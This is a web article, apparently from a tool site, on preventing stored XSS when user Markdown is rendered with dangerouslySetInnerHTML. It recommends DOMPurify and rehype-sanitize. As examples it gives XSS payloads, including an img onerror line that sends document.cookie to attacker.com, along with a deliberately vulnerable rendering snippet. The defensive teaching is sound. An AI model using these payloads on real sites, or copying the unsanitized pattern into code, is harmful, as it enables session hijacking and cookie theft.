How to Sanitize Raw HTML in Markdown: Complete XSS Prevention Guide
Learn why rendering untrusted user Markdown leads to Stored XSS attacks. Discover how DOMPurify, rehype-sanitize, and sanitize-html neutralize malicious tags.
CommonMark permits raw HTML tags within markdown. If an application parses user-submitted markdown and renders the output via dangerouslySetInnerHTML or v-html without sanitization, attackers can inject stored XSS payloads like <img src=x onerror=alert(document.cookie)>. Sanitize every HTML output using DOMPurify or rehype-sanitize.
Solve this problem now with our free Markdown Previewer & Editor
Try it instantly in your browser — zero tracking, 100% client-side privacy.
Specification & Architecture Reference
| Sanitization Tool | Ecosystem | Runtime Environment | Defense Mechanism |
|---|---|---|---|
| DOMPurify | Client & Server (isomorphic-dompurify) | Browser DOM & Node.js | |
| rehype-sanitize | Unified / Remark / Rehype AST | Build step / Server-side | |
| sanitize-html | Node.js Server backend | Server-side only |
The Inherent Vulnerability of Raw Markdown
The CommonMark specification deliberately allows raw HTML within markdown so authors can insert complex tables or customized styling.
However, when an application accepts markdown from users (e.g., forum comments, blog responses, user bios, support tickets) and compiles it to HTML:
Check out my profile: [Click Here](javascript:alert(document.cookie))
<img src="x" onerror="fetch('https://attacker.com/steal?c='+document.cookie)" />A standard markdown compiler converts this directly into malicious HTML. If injected into the page via React's `dangerouslySetInnerHTML`: ```javascript // ❌ VULNERABLE TO STORED XSS: <div dangerouslySetInnerHTML={{ __html: marked.parse(userContent) }} /> ``` The browser executes the JavaScript, allowing session hijacking and unauthorized API requests.
The Solution: DOMPurify in React & Next.js Always pass compiled HTML through **DOMPurify** before rendering:
import DOMPurify from "dompurify";function SafeMarkdown({ content }) { const rawHtml = marked.parse(content); // Strip dangerous tags (<script>, <iframe>, <object>) and event handlers (onerror, onclick) const cleanHtml = DOMPurify.sanitize(rawHtml, { USE_PROFILES: { html: true }, });
return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />; } ```
Unified / Rehype Pipeline Alternative If using modern Next.js with `react-markdown`: ```javascript import ReactMarkdown from 'react-markdown'; import rehypeSanitize from 'rehype-sanitize';
<ReactMarkdown rehypePlugins={[rehypeSanitize]}> {userMarkdown} </ReactMarkdown> ```
Safely test markdown formatting without server security risks using Mickytool's client-isolated **Markdown Previewer & Editor**.
Solve this problem now with our free Markdown Previewer & Editor
Execute this workflow immediately without saving data on remote servers.
Frequently Asked Questions
Does escaping HTML (< and >) prevent XSS in markdown?
Escaping HTML prevents injection of raw HTML tags, but does not block javascript: pseudo-protocols inside standard Markdown links [Click](javascript:...). A dedicated sanitizer is required.
Can DOMPurify be used server-side in Next.js Server Components?
Yes, using the isomorphic-dompurify package or jsdom under the hood, though running sanitization in client components or during API ingestion is often cleaner.